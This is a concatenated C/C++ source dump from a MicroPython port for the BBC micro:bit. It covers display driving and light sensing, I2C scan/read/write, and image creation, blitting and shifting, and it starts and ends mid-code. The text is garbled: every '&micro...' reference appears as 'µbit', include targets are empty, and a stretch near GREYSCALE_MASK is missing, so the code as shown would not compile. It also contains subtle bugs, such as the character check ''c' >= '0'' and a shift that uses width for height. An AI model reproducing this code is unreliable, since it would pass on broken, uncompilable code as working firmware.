ticker_ticks_ms; if (time - light_sensor_last_reading_time < 50) { n = 1; } else if (time - light_sensor_last_reading_time < 100) { n = 2; } else { n = 3; } // Take readings so the object can average them out for (int i = 0; i < n; ++i) { light_sensor_state = LIGHT_SENSOR_REQUEST_SAMPLE; while (light_sensor_state != LIGHT_SENSOR_HAVE_SAMPLE) { } } // Record time of last reading light_sensor_last_reading_time = ticker_ticks_ms; // Get and return the light reading return light_sensor_obj->read(); } static bool light_sensor_busy(void) { if (light_sensor_state == LIGHT_SENSOR_TAKING_SAMPLE) { if (NRF_ADC->ENABLE == ADC_ENABLE_ENABLE_Enabled) { return true; } light_sensor_state = LIGHT_SENSOR_HAVE_SAMPLE; } return false; } static void light_sensor_update(void) { if (light_sensor_state == LIGHT_SENSOR_REQUEST_SAMPLE) { light_sensor_obj->startSensing(MicroBitEvent(MICROBIT_ID_DISPLAY, MICROBIT_DISPLAY_EVT_LIGHT_SENSE, CREATE_ONLY)); light_sensor_state = LIGHT_SENSOR_TAKING_SAMPLE; } } /* This is the PWM callback. It is registered by the animation callback and * will unregister itself when all of the brightness steps are complete. */ static int32_t callback(void) { microbit_display_obj_t *display = µbit_display_obj; mp_uint_t brightness = display->previous_brightness; display->setPinsForRow(brightness); brightness += 1; if (brightness == MAX_BRIGHTNESS) { clear_ticker_callback(DISPLAY_TICKER_SLOT); light_sensor_update(); return -1; } display->previous_brightness = brightness; // Return interval (in 16µs ticks) until next callback return render_timings[brightness]; } static void draw_object(mp_obj_t obj) { microbit_display_obj_t *display = (microbit_display_obj_t*)MP_STATE_PORT(async_data)[0]; if (obj == MP_OBJ_STOP_ITERATION) { if (async_clear) { microbit_display_show(µbit_display_obj, BLANK_IMAGE); async_clear = false; } else { async_stop(); } } else if (mp_obj_get_type(obj) == µbit_image_type) { microbit_display_show(display, (microbit_image_obj_t *)obj); } else if (MP_OBJ_IS_STR(obj)) { mp_uint_t len; const char *str = mp_obj_str_get_data(obj, &len); if (len == 1) { microbit_display_show(display, microbit_image_for_char(str[0])); } else { async_stop(); } } else { MP_STATE_VM(mp_pending_exception) = mp_obj_new_exception_msg(&mp_type_TypeError, "not an image"); async_stop(); } } static void microbit_display_update(void) { async_tick += MILLISECONDS_PER_MACRO_TICK; if (async_tick < async_delay) { return; } async_tick = 0; switch (async_mode) { case ASYNC_MODE_ANIMATION: { if (MP_STATE_PORT(async_data)[0] == NULL || MP_STATE_PORT(async_data)[1] == NULL) { async_stop(); break; } /* WARNING: We are executing in an interrupt handler. * If an exception is raised here then we must hand it to the VM. */ mp_obj_t obj; nlr_buf_t nlr; gc_lock(); if (nlr_push(&nlr) == 0) { obj = mp_iternext_allow_raise(async_iterator); nlr_pop(); gc_unlock(); } else { gc_unlock(); if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) { // An exception other than StopIteration, so set it for the VM to raise later // If memory error, write an appropriate message. if (mp_obj_get_type(nlr.ret_val) == &mp_type_MemoryError) { mp_printf(&mp_plat_print, "Allocation in interrupt handler"); } MP_STATE_VM(mp_pending_exception) = MP_OBJ_FROM_PTR(nlr.ret_val); } obj = MP_OBJ_STOP_ITERATION; } draw_object(obj); break; } case ASYNC_MODE_CLEAR: microbit_display_show(µbit_display_obj, BLANK_IMAGE); async_stop(); break; } } #define GREYSCALE_MASK ((1<active = true; return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_display_on_obj, microbit_display_on_func); mp_obj_t microbit_display_off_func(mp_obj_t obj) { microbit_display_obj_t *self = (microbit_display_obj_t*)obj; /* Disable the display loop. This will pause any animations in progress. * It will not prevent a user from attempting to modify the state, but * modifications will not appear to have any effect until the display loop * is re-enabled. */ self->active = false; /* Disable the row strobes, allowing the columns to be used freely for * GPIO. */ nrf_gpio_pins_clear(ROW_PINS_MASK); /* Free pins for other uses */ microbit_obj_pin_free(µbit_p3_obj); microbit_obj_pin_free(µbit_p4_obj); microbit_obj_pin_free(µbit_p6_obj); microbit_obj_pin_free(µbit_p7_obj); microbit_obj_pin_free(µbit_p9_obj); microbit_obj_pin_free(µbit_p10_obj); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_display_off_obj, microbit_display_off_func); mp_obj_t microbit_display_is_on_func(mp_obj_t obj) { microbit_display_obj_t *self = (microbit_display_obj_t*)obj; if (self->active) { return mp_const_true; } else { return mp_const_false; } } MP_DEFINE_CONST_FUN_OBJ_1(microbit_display_is_on_obj, microbit_display_is_on_func); mp_obj_t microbit_display_read_light_level(mp_obj_t obj) { (void)obj; return MP_OBJ_NEW_SMALL_INT(light_sensor_read()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_display_read_light_level_obj, microbit_display_read_light_level); void microbit_display_clear(void) { // Reset repeat state, cancel animation and clear screen. wakeup_event = false; async_mode = ASYNC_MODE_CLEAR; async_tick = async_delay - MILLISECONDS_PER_MACRO_TICK; wait_for_event(); } mp_obj_t microbit_display_clear_func(mp_obj_t self) { (void)self; microbit_display_clear(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_display_clear_obj, microbit_display_clear_func); void microbit_display_set_pixel(microbit_display_obj_t *display, mp_int_t x, mp_int_t y, mp_int_t bright) { if (x < 0 || y < 0 || x > 4 || y > 4) { mp_raise_ValueError("index out of bounds"); } if (bright < 0 || bright > MAX_BRIGHTNESS) { mp_raise_ValueError("brightness out of bounds"); } display->image_buffer[x][y] = bright; display->brightnesses |= (1 << bright); } STATIC mp_obj_t microbit_display_set_pixel_func(mp_uint_t n_args, const mp_obj_t *args) { (void)n_args; microbit_display_obj_t *self = (microbit_display_obj_t*)args[0]; microbit_display_set_pixel(self, mp_obj_get_int(args[1]), mp_obj_get_int(args[2]), mp_obj_get_int(args[3])); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_display_set_pixel_obj, 4, 4, microbit_display_set_pixel_func); mp_int_t microbit_display_get_pixel(microbit_display_obj_t *display, mp_int_t x, mp_int_t y) { if (x < 0 || y < 0 || x > 4 || y > 4) { mp_raise_ValueError("index out of bounds"); } return display->image_buffer[x][y]; } STATIC mp_obj_t microbit_display_get_pixel_func(mp_obj_t self_in, mp_obj_t x_in, mp_obj_t y_in) { microbit_display_obj_t *self = (microbit_display_obj_t*)self_in; return MP_OBJ_NEW_SMALL_INT(microbit_display_get_pixel(self, mp_obj_get_int(x_in), mp_obj_get_int(y_in))); } MP_DEFINE_CONST_FUN_OBJ_3(microbit_display_get_pixel_obj, microbit_display_get_pixel_func); STATIC const mp_map_elem_t microbit_display_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_get_pixel), (mp_obj_t)µbit_display_get_pixel_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_set_pixel), (mp_obj_t)µbit_display_set_pixel_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_show), (mp_obj_t)µbit_display_show_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_scroll), (mp_obj_t)µbit_display_scroll_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_clear), (mp_obj_t)µbit_display_clear_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_on), (mp_obj_t)µbit_display_on_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_off), (mp_obj_t)µbit_display_off_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_is_on), (mp_obj_t)µbit_display_is_on_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read_light_level), (mp_obj_t)µbit_display_read_light_level_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_display_locals_dict, microbit_display_locals_dict_table); STATIC const mp_obj_type_t microbit_display_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitDisplay, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_display_locals_dict, }; microbit_display_obj_t microbit_display_obj = { {µbit_display_type}, { 0 }, .previous_brightness = 0, .active = 1, .strobe_row = 0, .brightnesses = 0, .pins_for_brightness = { 0 }, }; void microbit_display_init(void) { // Set pins as output. nrf_gpio_range_cfg_output(MIN_COLUMN_PIN, MIN_COLUMN_PIN + COLUMN_COUNT + ROW_COUNT - 1); } } ================================================ FILE: micropython/source/microbit/microbiti2c.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "microbit/microbitdal.h" extern "C" { #include "py/runtime.h" #include "microbit/modmicrobit.h" typedef struct _microbit_i2c_obj_t { mp_obj_base_t base; MicroPythonI2C *i2c; } microbit_i2c_obj_t; STATIC mp_obj_t microbit_i2c_init(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_freq, MP_ARG_INT, {.u_int = 100000} }, { MP_QSTR_sda, MP_ARG_OBJ, {.u_obj = mp_const_none } }, { MP_QSTR_scl, MP_ARG_OBJ, {.u_obj = mp_const_none } }, }; // parse args microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)pos_args[0]; mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); PinName p_sda = I2C_SDA0; PinName p_scl = I2C_SCL0; if (args[1].u_obj != mp_const_none) { p_sda = (PinName)microbit_obj_get_pin_name(args[1].u_obj); } if (args[2].u_obj != mp_const_none) { p_scl = (PinName)microbit_obj_get_pin_name(args[2].u_obj); } self->i2c->set_pins(p_sda, p_scl); self->i2c->frequency(args[0].u_int); // Call underlying mbed i2c_reset to reconfigure the pins and reset the peripheral i2c_reset(self->i2c->get_i2c_obj()); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_i2c_init_obj, 1, microbit_i2c_init); // Probe the given I2C address with an empty write to see if a device responds with an ACK STATIC bool i2c_probe(i2c_t *obj, uint8_t address) { obj->i2c->ADDRESS = address; obj->i2c->SHORTS = 0; obj->i2c->TASKS_STARTTX = 1; obj->i2c->EVENTS_STOPPED = 0; obj->i2c->TASKS_STOP = 1; uint32_t timeout = 10000; while (!obj->i2c->EVENTS_STOPPED && timeout > 0) { --timeout; } bool ack = timeout > 0 && obj->i2c->ERRORSRC == 0; i2c_reset(obj); return ack; } STATIC mp_obj_t microbit_i2c_scan(mp_obj_t self_in) { microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)MP_OBJ_TO_PTR(self_in); i2c_t *obj = self->i2c->get_i2c_obj(); mp_obj_t list = mp_obj_new_list(0, NULL); // 7-bit addresses 0b0000xxx and 0b1111xxx are reserved for (int addr = 0x08; addr < 0x78; ++addr) { if (i2c_probe(obj, addr)) { mp_obj_list_append(list, MP_OBJ_NEW_SMALL_INT(addr)); } } return list; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_i2c_scan_obj, microbit_i2c_scan); STATIC mp_obj_t microbit_i2c_read(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_addr, MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} }, { MP_QSTR_n, MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} }, { MP_QSTR_repeat, MP_ARG_BOOL, {.u_bool = false} }, }; // parse args microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)pos_args[0]; mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); // do the I2C read vstr_t vstr; vstr_init_len(&vstr, args[1].u_int); int err = self->i2c->read(args[0].u_int << 1, vstr.buf, vstr.len, args[2].u_bool); if (err != MICROBIT_OK) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_OSError, "I2C read error %d", err)); } // return bytes object with read data return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr); } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_i2c_read_obj, 1, microbit_i2c_read); STATIC mp_obj_t microbit_i2c_write(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_addr, MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} }, { MP_QSTR_buf, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} }, { MP_QSTR_repeat, MP_ARG_BOOL, {.u_bool = false} }, }; // parse args microbit_i2c_obj_t *self = (microbit_i2c_obj_t*)pos_args[0]; mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); // do the I2C write mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[1].u_obj, &bufinfo, MP_BUFFER_READ); int err = self->i2c->write(args[0].u_int << 1, (char*)bufinfo.buf, bufinfo.len, args[2].u_bool); if (err != MICROBIT_OK) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_OSError, "I2C write error %d", err)); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_i2c_write_obj, 1, microbit_i2c_write); STATIC const mp_map_elem_t microbit_i2c_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_init), (mp_obj_t)µbit_i2c_init_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_scan), (mp_obj_t)µbit_i2c_scan_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)µbit_i2c_read_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)µbit_i2c_write_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_i2c_locals_dict, microbit_i2c_locals_dict_table); const mp_obj_type_t microbit_i2c_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitI2C, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_i2c_locals_dict, }; const microbit_i2c_obj_t microbit_i2c_obj = { {µbit_i2c_type}, .i2c = &ubit_i2c, }; } ================================================ FILE: micropython/source/microbit/microbitimage.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien George, Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "MicroBitFont.h" extern "C" { #include "py/runtime0.h" #include "py/runtime.h" #include "microbit/modmicrobit.h" #include "microbit/microbit_image.h" #define min(a,b) (((a)<(b))?(a):(b)) #define max(a,b) (((a)>(b))?(a):(b)) const monochrome_5by5_t microbit_blank_image = { { µbit_image_type }, 1, 0, 0, 0, { 0, 0, 0 } }; STATIC void microbit_image_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; mp_printf(print, "Image("); if (kind == PRINT_STR) mp_printf(print, "\n "); mp_printf(print, "'"); for (int y = 0; y < self->height(); ++y) { for (int x = 0; x < self->width(); ++x) { mp_printf(print, "%c", "0123456789"[self->getPixelValue(x, y)]); } mp_printf(print, ":"); if (kind == PRINT_STR && y < self->height()-1) mp_printf(print, "'\n '"); } mp_printf(print, "'"); if (kind == PRINT_STR) mp_printf(print, "\n"); mp_printf(print, ")"); } uint8_t monochrome_5by5_t::getPixelValue(mp_int_t x, mp_int_t y) { unsigned int index = y*5+x; if (index == 24) return this->pixel44; return (this->bits24[index>>3] >> (index&7))&1; } uint8_t greyscale_t::getPixelValue(mp_int_t x, mp_int_t y) { unsigned int index = y*this->width+x; unsigned int shift = ((index<<2)&4); return (this->byte_data[index>>1] >> shift)&15; } void greyscale_t::setPixelValue(mp_int_t x, mp_int_t y, mp_int_t val) { unsigned int index = y*this->width+x; unsigned int shift = ((index<<2)&4); uint8_t mask = 240 >> shift; this->byte_data[index>>1] = (this->byte_data[index>>1] & mask) | (val << shift); } void greyscale_t::fill(mp_int_t val) { mp_int_t byte = (val<<4) | val; for (int i = 0; i < ((this->width*this->height+1)>>1); i++) { this->byte_data[i] = byte; } } void greyscale_t::clear() { memset(&this->byte_data, 0, (this->width*this->height+1)>>1); } uint8_t microbit_image_obj_t::getPixelValue(mp_int_t x, mp_int_t y) { if (this->base.five) return this->monochrome_5by5.getPixelValue(x, y)*MAX_BRIGHTNESS; else return this->greyscale.getPixelValue(x, y); } mp_int_t microbit_image_obj_t::width() { if (this->base.five) return 5; else return this->greyscale.width; } mp_int_t microbit_image_obj_t::height() { if (this->base.five) return 5; else return this->greyscale.height; } STATIC greyscale_t *greyscale_new(mp_int_t w, mp_int_t h) { greyscale_t *result = m_new_obj_var(greyscale_t, uint8_t, (w*h+1)>>1); result->base.type = µbit_image_type; result->five = 0; result->width = w; result->height = h; return result; } greyscale_t *microbit_image_obj_t::copy() { mp_int_t w = this->width(); mp_int_t h = this->height(); greyscale_t *result = greyscale_new(w, h); for (mp_int_t y = 0; y < h; y++) { for (mp_int_t x = 0; x < w; ++x) { result->setPixelValue(x,y, this->getPixelValue(x,y)); } } return result; } greyscale_t *microbit_image_obj_t::invert() { mp_int_t w = this->width(); mp_int_t h = this->height(); greyscale_t *result = greyscale_new(w, h); for (mp_int_t y = 0; y < h; y++) { for (mp_int_t x = 0; x < w; ++x) { result->setPixelValue(x,y, MAX_BRIGHTNESS - this->getPixelValue(x,y)); } } return result; } STATIC microbit_image_obj_t *image_from_parsed_str(const char *s, mp_int_t len) { mp_int_t w = 0; mp_int_t h = 0; mp_int_t line_len = 0; greyscale_t *result; /*First pass -- Establish metadata */ for (int i = 0; i < len; i++) { char c = s[i]; if (c == '\n' || c == ':') { w = max(line_len, w); line_len = 0; ++h; } else if (c == ' ') { ++line_len; } else if ('c' >= '0' && c <= '9') { ++line_len; } else { mp_raise_ValueError("unexpected character in Image definition"); } } if (line_len) { // Omitted trailing terminator ++h; w = max(line_len, w); } result = greyscale_new(w, h); mp_int_t x = 0; mp_int_t y = 0; /* Second pass -- Fill in data */ for (int i = 0; i < len; i++) { char c = s[i]; if (c == '\n' || c == ':') { while (x < w) { result->setPixelValue(x, y, 0); x++; } ++y; x = 0; } else if (c == ' ') { /* Treat spaces as 0 */ result->setPixelValue(x, y, 0); ++x; } else if ('c' >= '0' && c <= '9') { result->setPixelValue(x, y, c - '0'); ++x; } } if (y < h) { while (x < w) { result->setPixelValue(x, y, 0); x++; } } return (microbit_image_obj_t *)result; } STATIC mp_obj_t microbit_image_make_new(const mp_obj_type_t *type_in, mp_uint_t n_args, mp_uint_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 3, false); switch (n_args) { case 0: { greyscale_t *image = greyscale_new(5, 5); image->clear(); return image; } case 1: { if (MP_OBJ_IS_STR(args[0])) { // arg is a string object mp_uint_t len; const char *str = mp_obj_str_get_data(args[0], &len); // make image from string if (len == 1) { /* For a single charater, return the font glyph */ return microbit_image_for_char(str[0]); } else { /* Otherwise parse the image description string */ return image_from_parsed_str(str, len); } } else { mp_raise_TypeError("Image(s) takes a string"); } } case 2: case 3: { mp_int_t w = mp_obj_get_int(args[0]); mp_int_t h = mp_obj_get_int(args[1]); greyscale_t *image = greyscale_new(w, h); if (n_args == 2) { image->clear(); } else { mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[2], &bufinfo, MP_BUFFER_READ); if (w < 0 || h < 0 || (size_t)(w * h) != bufinfo.len) { mp_raise_ValueError("image data is incorrect size"); } mp_int_t i = 0; for (mp_int_t y = 0; y < h; y++) { for (mp_int_t x = 0; x < w; ++x) { uint8_t val = min(((const uint8_t*)bufinfo.buf)[i], MAX_BRIGHTNESS); image->setPixelValue(x, y, val); ++i; } } } return image; } default: { mp_raise_TypeError("Image() takes 0 to 3 arguments"); } } } static void clear_rect(greyscale_t *img, mp_int_t x0, mp_int_t y0,mp_int_t x1, mp_int_t y1) { for (int i = x0; i < x1; ++i) { for (int j = y0; j < y1; ++j) { img->setPixelValue(i, j, 0); } } } STATIC void image_blit(microbit_image_obj_t *src, greyscale_t *dest, mp_int_t x, mp_int_t y, mp_int_t w, mp_int_t h, mp_int_t xdest, mp_int_t ydest) { if (w < 0) w = 0; if (h < 0) h = 0; mp_int_t intersect_x0 = max(max(0, x), -xdest); mp_int_t intersect_y0 = max(max(0, y), -ydest); mp_int_t intersect_x1 = min(min(dest->width+x-xdest, src->width()), x+w); mp_int_t intersect_y1 = min(min(dest->height+y-ydest, src->height()), y+h); mp_int_t xstart, xend, ystart, yend, xdel, ydel; mp_int_t clear_x0 = max(0, xdest); mp_int_t clear_y0 = max(0, ydest); mp_int_t clear_x1 = min(dest->width, xdest+w); mp_int_t clear_y1 = min(dest->height, ydest+h); if (intersect_x0 >= intersect_x1 || intersect_y0 >= intersect_y1) { // Nothing to copy clear_rect(dest, clear_x0, clear_y0, clear_x1, clear_y1); return; } if (x > xdest) { xstart = intersect_x0; xend = intersect_x1; xdel = 1; } else { xstart = intersect_x1-1; xend = intersect_x0-1; xdel = -1; } if (y > ydest) { ystart = intersect_y0; yend = intersect_y1; ydel = 1; } else { ystart = intersect_y1-1; yend = intersect_y0-1; ydel = -1; } for (int i = xstart; i != xend; i += xdel) { for (int j = ystart; j != yend; j += ydel) { int val = src->getPixelValue(i, j); dest->setPixelValue(i+xdest-x, j+ydest-y, val); } } // Adjust intersection rectange to dest intersect_x0 += xdest-x; intersect_y0 += ydest-y; intersect_x1 += xdest-x; intersect_y1 += ydest-y; // Clear four rectangles in the cleared area surrounding the copied area. clear_rect(dest, clear_x0, clear_y0, intersect_x0, intersect_y1); clear_rect(dest, clear_x0, intersect_y1, intersect_x1, clear_y1); clear_rect(dest, intersect_x1, intersect_y0, clear_x1, clear_y1); clear_rect(dest, intersect_x0, clear_y0, clear_x1, intersect_y0); } greyscale_t *image_shift(microbit_image_obj_t *self, mp_int_t x, mp_int_t y) { greyscale_t *result = greyscale_new(self->width(), self->width()); image_blit(self, result, x, y, self->width(), self->width(), 0, 0); return result; } STATIC microbit_image_obj_t *image_crop(microbit_image_obj_t *img, mp_int_t x, mp_int_t y, mp_int_t w, mp_int_t h) { if (w < 0) w = 0; if (h < 0) h = 0; greyscale_t *result = greyscale_new(w, h); image_blit(img, result, x, y, w, h, 0, 0); return (microbit_image_obj_t *)result; } mp_obj_t microbit_image_width(mp_obj_t self_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; return MP_OBJ_NEW_SMALL_INT(self->width()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_image_width_obj, microbit_image_width); mp_obj_t microbit_image_height(mp_obj_t self_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; return MP_OBJ_NEW_SMALL_INT(self->height()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_image_height_obj, microbit_image_height); mp_obj_t microbit_image_get_pixel(mp_obj_t self_in, mp_obj_t x_in, mp_obj_t y_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; mp_int_t x = mp_obj_get_int(x_in); mp_int_t y = mp_obj_get_int(y_in); if (x < 0 || y < 0) { mp_raise_ValueError("index cannot be negative"); } if (x < self->width() && y < self->height()) { return MP_OBJ_NEW_SMALL_INT(self->getPixelValue(x, y)); } mp_raise_ValueError("index too large"); } MP_DEFINE_CONST_FUN_OBJ_3(microbit_image_get_pixel_obj, microbit_image_get_pixel); /* Raise an exception if not mutable */ static void check_mutability(microbit_image_obj_t *self) { if (self->base.five) { mp_raise_TypeError("image cannot be modified (try copying first)"); } } mp_obj_t microbit_image_set_pixel(mp_uint_t n_args, const mp_obj_t *args) { (void)n_args; microbit_image_obj_t *self = (microbit_image_obj_t*)args[0]; check_mutability(self); mp_int_t x = mp_obj_get_int(args[1]); mp_int_t y = mp_obj_get_int(args[2]); if (x < 0 || y < 0) { mp_raise_ValueError("index cannot be negative"); } mp_int_t bright = mp_obj_get_int(args[3]); if (bright < 0 || bright > MAX_BRIGHTNESS) { mp_raise_ValueError("brightness out of bounds"); } if (x < self->width() && y < self->height()) { self->greyscale.setPixelValue(x, y, bright); return mp_const_none; } mp_raise_ValueError("index too large"); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_set_pixel_obj, 4, 4, microbit_image_set_pixel); mp_obj_t microbit_image_fill(mp_obj_t self_in, mp_obj_t n_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; check_mutability(self); mp_int_t n = mp_obj_get_int(n_in); if (n < 0 || n > MAX_BRIGHTNESS) { mp_raise_ValueError("brightness out of bounds"); } self->greyscale.fill(n); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_image_fill_obj, microbit_image_fill); mp_obj_t microbit_image_blit(mp_uint_t n_args, const mp_obj_t *args) { microbit_image_obj_t *self = (microbit_image_obj_t*)args[0]; check_mutability(self); mp_obj_t src = args[1]; if (mp_obj_get_type(src) != µbit_image_type) { mp_raise_TypeError("expecting an image"); } if (n_args == 7) { mp_raise_TypeError("must specify both offsets"); } mp_int_t x = mp_obj_get_int(args[2]); mp_int_t y = mp_obj_get_int(args[3]); mp_int_t w = mp_obj_get_int(args[4]); mp_int_t h = mp_obj_get_int(args[5]); if (w < 0 || h < 0) { mp_raise_ValueError("size cannot be negative"); } mp_int_t xdest; mp_int_t ydest; if (n_args == 6) { xdest = 0; ydest = 0; } else { xdest = mp_obj_get_int(args[6]); ydest = mp_obj_get_int(args[7]); } image_blit((microbit_image_obj_t *)src, &(self->greyscale), x, y, w, h, xdest, ydest); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_blit_obj, 6, 8, microbit_image_blit); mp_obj_t microbit_image_crop(mp_uint_t n_args, const mp_obj_t *args) { (void)n_args; microbit_image_obj_t *self = (microbit_image_obj_t*)args[0]; mp_int_t x0 = mp_obj_get_int(args[1]); mp_int_t y0 = mp_obj_get_int(args[2]); mp_int_t x1 = mp_obj_get_int(args[3]); mp_int_t y1 = mp_obj_get_int(args[4]); return image_crop(self, x0, y0, x1, y1); } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_crop_obj, 5, 5, microbit_image_crop); mp_obj_t microbit_image_shift_left(mp_obj_t self_in, mp_obj_t n_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; mp_int_t n = mp_obj_get_int(n_in); return image_shift(self, n, 0); } MP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_left_obj, microbit_image_shift_left); mp_obj_t microbit_image_shift_right(mp_obj_t self_in, mp_obj_t n_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; mp_int_t n = mp_obj_get_int(n_in); return image_shift(self, -n, 0); } MP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_right_obj, microbit_image_shift_right); mp_obj_t microbit_image_shift_up(mp_obj_t self_in, mp_obj_t n_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; mp_int_t n = mp_obj_get_int(n_in); return image_shift(self, 0, n); } MP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_up_obj, microbit_image_shift_up); mp_obj_t microbit_image_shift_down(mp_obj_t self_in, mp_obj_t n_in) { microbit_image_obj_t *self = (microbit_image_obj_t*)self_in; mp_int_t n = mp_obj_get_int(n_in); return image_shift(self, 0, -n); } MP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_down_obj, 